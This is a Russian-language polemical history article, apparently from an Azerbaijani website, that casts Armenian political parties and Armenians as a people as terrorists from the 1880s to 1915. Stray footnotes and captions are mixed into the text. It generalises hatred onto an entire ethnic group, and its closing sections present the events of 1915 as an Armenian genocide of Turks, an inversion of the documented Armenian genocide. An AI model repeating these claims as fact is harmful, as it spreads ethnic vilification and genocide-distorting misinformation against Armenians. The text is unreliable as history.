15 Архив Политических Документов Управления делами Президента Азербайджанской Рес-публики(далее — АПД УДП АР), ф.276, оп.8, д.60, ил.33-34.
16 АПД УДП АР, ф.276, оп.8, д.1360, ил.31.
17 Наджафов Б. Лицо врага, с.139.
18 АПД УДП АР , ф.276, оп.8, д.110, ил.6.
19 Наджафов Б. Указ. раб., с.134.
20 Наджафов Б. Указ. раб., с.139.
21 Вердиева Х.Ю. Переселенческая политика Российской империи в Северном Азербайджане. Баку, 1999, с.133.
22 Свод законов Российской империи. Продолжение 1912 года, т.XI, ч.I, с.5.
23 Зейналова Судаба. Немецкие колонии в Азербайджане (1891-1941 годы). Баку, 2002, с.87; Вердиева Х., Гусейн-заде Р. Родословная армян и их миграция на Кавказ с Балкан. Баку, 2003, с.61.
24 АПД УДП АР, ф.276, оп.8, д.90, л.2.
25 Кариби. Красная книга. См. в раб. История Азербайджана по документам.., с.159.
26 Маевский В.Ф. Указ. раб., с.44.
27 Малевил де Жорж. Указ. раб., с.44.
28 Малевил де Жорж. Указ. раб., с.22, 23.
29 АПД УДП АР, ф.276, оп.8, д.498, лл.14, 15.
30 АПД УДП АР, ф.276, оп.8, д.513, лл.14, 14 об.; Файнл Эрик. Указ. раб., с.41.
31 Файгл Эрик. Указ. раб., с.85.
32 Малевил де Жорж. Указ. раб., с.45.
33 Нурийева Ирадя.Erməni terrorizmi bu gün- Azərbaycan Dövlət Pedaqoji Universiteti Хəbərlər. Щуманитар вя елм серийасы. №5, 2005, с.202.
34 Файгл Эрик. Указ. раб., с.154.
35 Нурийева Ирадя. Указ. раб., с.204.
36 Файгл Эрик. Указ. раб.

Подробнее:http://www.erevangala500.com/?direct=news_page&id=224

Хаджар  Вердиева,доктор  исторических   наук, старший  научный  сотрудник   Архива   Политических   Документов   Управления  Делами  Президенте  Азербайджанской  Республики

Запад пытается органически связать терроризм с исламским фундаментализмом, забывая, что впервые террор, как режим, был установлен во Франции, в период правления якобинцев. Позже террор применялся в России народовольцами в отношении отдельных представителей властей. И, наконец, на рубеже XX века армянский терроризм вступает как политическая сила в общественно-политическую жизнь международного театра и уже более ста лет проведенные ими теракты нагнетают как внутриполитическую ситуацию государств региона, так и международную ситуацию в мире. В отличие от французских и российских террористов, которые боролись за радикальные изменения в политической власти, армянские террористы ставят во главу угла воссоздание  мифического государства — «Великой Армении», якобы просуществовавшей в далеком прошлом на протяжении нескольких десятилетий в регионе, где никогда за всю историю не было хоть какого-то армянского большинства. Чтобы осознать суть и задачи армянского терроризма, необходимо знать, что его источником и краеугольным камнем является «армянский вопрос», который возник в последней трети XIX века.

Русско-османская война 1877-1878 годов оказалась роковой для Османской империи, положение которой осложняла сложившаяся международная обстановка, а также  глубокий социально-политический и экономический кризис, наступивший накануне войны. Борьба за Балканы — узлового центра межгосударственных противоречий европейских держав  — довела Османскую империю до критической точки, которая была осложнена вмешательством великих держав — России и Британии. Первая стремилась завладеть черноморскими путями и проливами, прикрываясь лозунгом борьбы за освобождение христиан от ига османов-мусульман, вторая же прикладывала все усилия для приостановления дальнейшего продвижения России на Восток.

В свою очередь армяне Османской империи не скрывали свое тяготение к России, что резко изменило отношение к ним османских властей. Следует подчеркнуть, что армяне пользовались в государстве достаточной степенью свободы, безопасности, благополучия и имели определенное общественное положение, принимались на государственную службу. Так, только в XVII веке на должность везири-азама были назначены два армянина: Халил Паша и  Эрмени Сулейман Паша.¹

Среди депутатов Первого Парламента Османской империи созыва 1876 г. были также представители армянского населения. Себух Максудян был избран от  Истамбула, Рупен Язычян  от Эдирне, Сапак Яврумян отБурсы, Амазасп Балларян от  Эрзерума и др.²Однако в самый разгар Сан-Стефанских мирных переговоров армянский патриарх Стамбула Варжабедян «привлек внимание к мучениям армян».³Одновременно российские армяне обратились с петицией к наместнику Кавказа, прося помощи у России при обсуждении условий мира с Османской империей.⁴Цель этих обращений заключалась в объединении армянского населения вокруг католикоса Эчмиадзинского. Об этом говорил Варжабедян во время своей встречи с послом Англии Лейярдом, и старался объяснить, что появилась возможность присоединения Восточной Анатолии к России.⁵

Действия армян были расценены османским правительством не иначе, как предательство по отношению к государству, приютившему гонимый народ, лишенной собственной земли и государственности. Армянский народ, который всегда считался «верной нацией» в империи, превратился в глазах турецкого правительства в «подозреваемую нацию».⁶

После подписания Берлинского трактата в европейский театр проник «армянский вопрос», который являлся составной частью так называемой восточной проблемы.Основной причиной появления «армянского вопроса» был, в первую очередь,  армянский терроризм, который зародился в последней четверти XIX века и являлся составной частью армянского национализма, краеугольным камнем которого являлись партии «Арменистов», «Гнчак» и «Дашнакцутюн».

Созданная осенью1885 г. в Ванепартия «Арменистов»считала основным средством реализации идеи образования «Великой Армении» «вооруженное сопротивление турецкому правительству», а точнее террор.⁷ Учредителем этой партии был некий Мигирдиг Партугамян, сын богатейшего армянского банкира, который распространял среди  османских армян Восточной Анатолии идею о возможности образования самостоятельного армянского государства. Для достижения цели он считал необходимым вывести «армянский вопрос» на международную арену и подключить армянскую диаспору по всем параметрам к этой проблеме.

Основной идей созданнойв 1887 году в Женевепартии «Гнчак»и организованнойв 1890 году в Тифлисе партии «Дашнакцутюн»являлась идея  образования независимой армянской государственности на территории Османской империи. Методом политической борьбы они избрали  грубое насилие против османского правительства.

Для достижения цели армянские националистические силы решили организовать ряд смут в Османской империи, которые могли бы убедить Европу в том, что армяне в этой стране подвергаются жесточайшим гонениям.⁸В результате, начиная с 1894 года, по всей Османской империи начались столкновения на межнациональной почве. Члены партии «Гнчак» Дамадиян и Баяджиан, имеющие большой опыт в организации мятежей, организовали беспорядки в Сасуне.⁹Затем партия «Гнчак»¹⁰  способствовала распространению волнений по другим городам Османской империи, Осенью и зимой 1895 г. беспорядки достигли своего пика, особо выделялись Ванские события 1895 г. , которые были  характерны терактами и рекетерством. В самый пик этих событий чудом спасся английский консул Виллиама.¹²Об этом писала местная пресса в конце XIX века.¹¹

В сложившейся ситуации дашнаки решили взять инициативу в свои руки и проводили террористические акты, среди которых самым авантюрным был захват Османского банка в Истамбуле 14 августа 1896 г. При этом были взяты гражданские заложники, что и стала классической моделью терроризма и шантажа в современной мировой истории. Этой акцией руководил Гареген

Пасдермаджян, позже в 1908 году избранный делегатом в национальное собрание Эрзерума.¹³Дашнаки-террористы на этом не остановились. 30 августа 1896 г.  для привлечения внимания мировой общественности они организовали  в Галатиии несколько покушений с применением бомб. Однако, не сумев найти должной поддержки в европейском театре, армянское движение с осени 1896 года пошло на спад. Последним аккордом  дашнаков было покушение на султана Абдул Гамида.^14,  совершенное  21 июля 1905 года.

Не сумев реализовать свою бредовую мечту в Османской империи и оставшись без поддержки европейских держав, армянские националисты решили перенести борьбу на Кавказ. Трезво оценив сложившуюся ситуацию и политико-националистическую деятельность армян на Центральном Кавказе, российские власти решили остановить наплыв армянских инсургентов. Для этого были предприняты определенные шаги, как, например, закрытие армянских церковно-приходских школ на Кавказе, Вступило в силу Положение от 12 июня 1903 года о секвестре на армяно-григорианскую церковь,  которая играла главенствующую роль в армянском движении, объединив османских и российских армян под идеей образования «Великой Армении». Такой была  реакция русских официальных властей на антиправительственную деятельность армян под предводительством партии «Дашнакцутюн» и армянской церкви на рубеже XX века. Образование комитетов для помощи восставшим в Османской империи, вербовка волонтеров, использование насильственных методов против тех, кто не воспринял деятельность армянских церковных, общественных, политических и других организаций, революционные идеи армянского националистического и шовинистического движения — все это не могло не обеспокоить русскую администрацию и побудило правительственные круги принять адекватные меры.

Ответная реакце в августе 1903 года в Александрополе, Карсе, Эриване и других городах Кавказа армянское духовенство выступило в роли застрельщика армянского движения в России. После того, как главноначальствующий по гражданской части на Кавказе кн. Г.С.Голицын отказал в  отмене секвестра, ситуация еще более усугубилась.  Конфронтация вступила в качественно новую фазу. Уже в 1903 году армянские террористы рассылали угрожающие анонимные письма в адрес кавказской администрации по поводу секвестра, наложенного на армянскую церковь.¹⁵Так, один из армянских комитетов в ультимативном порядке требовал от

высокопоставленного чиновника

Г.С.Голицын 1838—1907) —генерал от

 инфантерии(14.05.1896), русский

государственный деятель.

Управления Государственных Имуществ по Тифлисской губернии А.О. Кидиашвили, чтобы это ведомство оставило дело по Армянской церкви.¹⁶Однако представители кавказской администрации были непоколебимы в своей позиции, и противостояние между армянскими националистами и самодержавием еще более обострилось.  14 октября 1903 года в Тифлисе террористическая организация «Новое время» организовала покушение на самого кн. Г.С.Голицына. Получив от трех террористов тяжелые кинжальные  ранения в голову Г.С.Голицын  вынужден был покинуть Кавказ.¹⁷После 11 мая 1905 года были убиты Бакинский губернатор М.А.Накашидзе и его личный стражник. Этот акт возмездия был совершен по приговору Бакинского ЦК армянской «революционной» партии «Даш-накцутюн».¹⁸

Среди жертв дашнаков были также православные религиозные деятели. 13 августа 1903 года в Александрополе был заколот кинжалом православный протоирей Василов, которому вынес смертный приговор «армянский революционный комитет» за то, что этот священник способствовал обращению в православие население трех армянских селений.¹⁹

«Дашнакцутюн» был беспощаден ко всем, кто не подчинялся его приказам. В эти годы подвергались физическому уничтожению те армяне, которые не подчинялись установленным порядкам армянского националистического движения. Так, в 1903 году в Эчмиадзине, прямо на базарной площади, был убит некий Потоянц, виновный лишь в том, что он не отказался быть понятым при передаче церковного имущества в казну.²⁰В начале Первой русской революции, которая несла в себе хаос и анархию, преступная деятельность армянских националистов во главе с «Дашнакцутюн» еще более активизировалась. Партия  объявила ультиматум чиновникам силовых структур кавказской администрации и угрожал физическим уничтожением тем, кто осмелится отнимать оружие и делать обыски  у армянского населения Центрального Кавказа.²¹

В результате в августе 1905 года было отменено положение о секвестре и Эчмиадзин получил вновь контроль над имуществом и капиталами армяно-григорианской церкви. Тогда же российское правительство пошло на уступки и в школьном вопросе. 1 августа 1905 года Николай II, обращаясь наместнику на Кавказе, четко подчеркивал в своем указе следующее: «впредь до выработки положения об армянских церковных школах, разрешать в пределах наместничества открывать при церквях и монастырях, церковно-приходские школы».²²Отход от радикальной позиции российского правительства в отношении армянского движения объясняется тем, что армянские националистические группировки играли немаловажную роль в развитии хаотичных волнений в ходе Первой русской революции и являлись социальной базой антиправительственных сил на Центральном Кавказе.

Однако уступки правительства не могли остановить террористические действия армян. В целях снабжения отрядов «зинвор» — террористов-голо-ворезов, партия «Дашнакцутюн» путем запугивания пыталась обирать зажи-точных нацменьшинств Северного Азербайджана, в данном случае немцев-колонистов. Так, Елизаветпольский фундаменталист партии «Дашнакцутюн» Корюн совместно со своими соратниками братьями Арутюновыми пот-ребовали у еленендорфского помещика и виноторговца Хр. Форерав пользу своей партии 30 000 руб. То же самое предложение было сделано богатому колонисту Я.Гуру, который отказался удовлетворить рэкетиров, за что был убит.²³

Однако основной удар террористических актов армянских националистов был направлен против автохтонного населения Азербайджана — азербайджанцев. В эти годы армяне открыто продемонстрировали свою ненависть к азербайджанцам. Не сумев реализовать свои авантюристические планы в Малой Азии на исходе XIX века — за счет османов, в начале XX века армяне намеревались реализовать свой коварный замысел на Кавказе — за счет азербайджанцев. Еще накануне армяно-азербайджанского конфликта армянские террористы неоднократно пытались совершать провокации, направленные против азербайджанцев. Так, в документах с грифом «секретно» Бакинского полицейского департамента сообщалось: «армяне во время шахсей-вахсей, имеющего быть у мусульман 13 марта 1904 года, в Баку намерены бросить в толпу мусульман бомбу и деяние это приписать полиции».²⁴

Антиазербайджанская тактика армянских националистов во главе с партией «Дашнакцутюн» привела к армяно-азербайджанскому конфликту 1905-1906 годов, в котором эта партия показала себя вдохновителем и носителем терактов и сыграла немалую роль в вспышке террористической волны в этом межнациональном конфликте. Об этом писал Г.Чалхушян, четко подчеркивая, что «Дашнакцутюн» имел «выдающееся значение в армяно-татарской резне».²⁵Так считал также российский дипломат В.Ф.Маевский, который был в курсе всех происходивших событий. По его мнению, партия «Дашнакцутюн» главным источником бедствий на Кавказе.²⁶

Масштаб терактов армянских националистов был настолько широк, что Кавказское наместничество решило официально решить эту проблему. В феврале 1906 года по инициативе наместника на Кавказе И.И.Воронцова-Дашкова было созвано совещание для  решения межнационального конфликта. В  в повестку дня  был включен «вопрос о терроризме на Кавказе». Принятая на совещании резолюция гласила о прекращении террористической деятельности армянской стороны. Значимость этой резолюции была велика, ибо впервые на государственном уровне действия армянских националистов оценивались как терроризм. Это  документально подтверждало действия армянских группировок  как акт насилия и устрашения в отношении противоположной стороны, т.е. азербайджанцев.

Первая мировая  война дала новый импульс действиям армянских террористов. Навязчивая идея о создании «Великой Армении»  должна была охватить шесть вилайетов Восточной Анатолии. Еще до вступления Османской империи в Первую мировую войну армяне уже создавали «пятую колонну». Так, в сентябре 1914 года были образованы 4 отряда, возглавляемые Андраником, Дро, Амазаспом и Кери, ярыми дашнаками, задачей  которых была  подготовка боевиков для дальнейших антиосманских военных действий.²⁷

После вступления Османской империи в военные действия началось формирование добровольческих отрядов из армян, дезертировавших из османской армии. Так, например,  депутат из Эрзерума Пасдермаджян перешел в противоположный лагерь вместе с армянскими солдатами и офицерами III Армии. ²⁸

Осенью 1914 года и в начале 1915 года повстанческие

отряды армян сформировались уже в Ване, Зейтуне, Битлисе, Шуше. После начались отк-рытые выступления армянских мятеж-ников.Восполь-зовавшись окку-пацией части Малой Азиирусской армией,повстанческие  Армянские бандформирования- сглаварем     

Николой Думаном

силы под руководством дашнаков Арама и Варелу в мае 1915 года захватили  город Ван и  провозгласили так называемое «Армянское государство». Арам Манукян был назначен русским губернатором.²⁹

Армянский терроризм достигает своего пика, когда началось физическое истребление турок на территории Малой Азии. Тем самым они пытались искусственно изменить демографическое соотношение в этническом составе населения, как в Ване, так и в Восточной Анатолии путем геноцида турок — доминирующего населения Малой Азии. При этом дашнаки намеревались сохранить сепаратистскую единицу — «Ванское государство» после этнической чистки на этой территории «представителей мусульманского населения, убитых или обращенных в бегство».²⁹

Таким образом, в годы Первой мировой войны армяне истребляли турок, изгоняли из мест, вошедших в состав так называемого «Армянского государства». Это был геноцид турецкого этноса-гегемона со стороны этнического армянского меньшинства, воспользовавшегося присутствием и покровительством русской оккупационной армии.

В годы Первой мировой войны армяне-сепаратисты не достигли своей цели, и идея о «Великой Армении» превратилась в фарс. Но до последнего главари армянских националистов просили помощи у великих держав для концентрации сил армянских волонтеров под предводительством воеводы Андраника с целью сохранения захваченные русской армией провинции под контролем армянских боевиков. При этом они надеялись, что Англия и Франция при обсуждении мирного договора  выдвинут вопрос о дарении Армении автономии.³⁰

Продолжение следует

 

Подробнее:http://www.erevangala500.com/?direct=news_page&id=223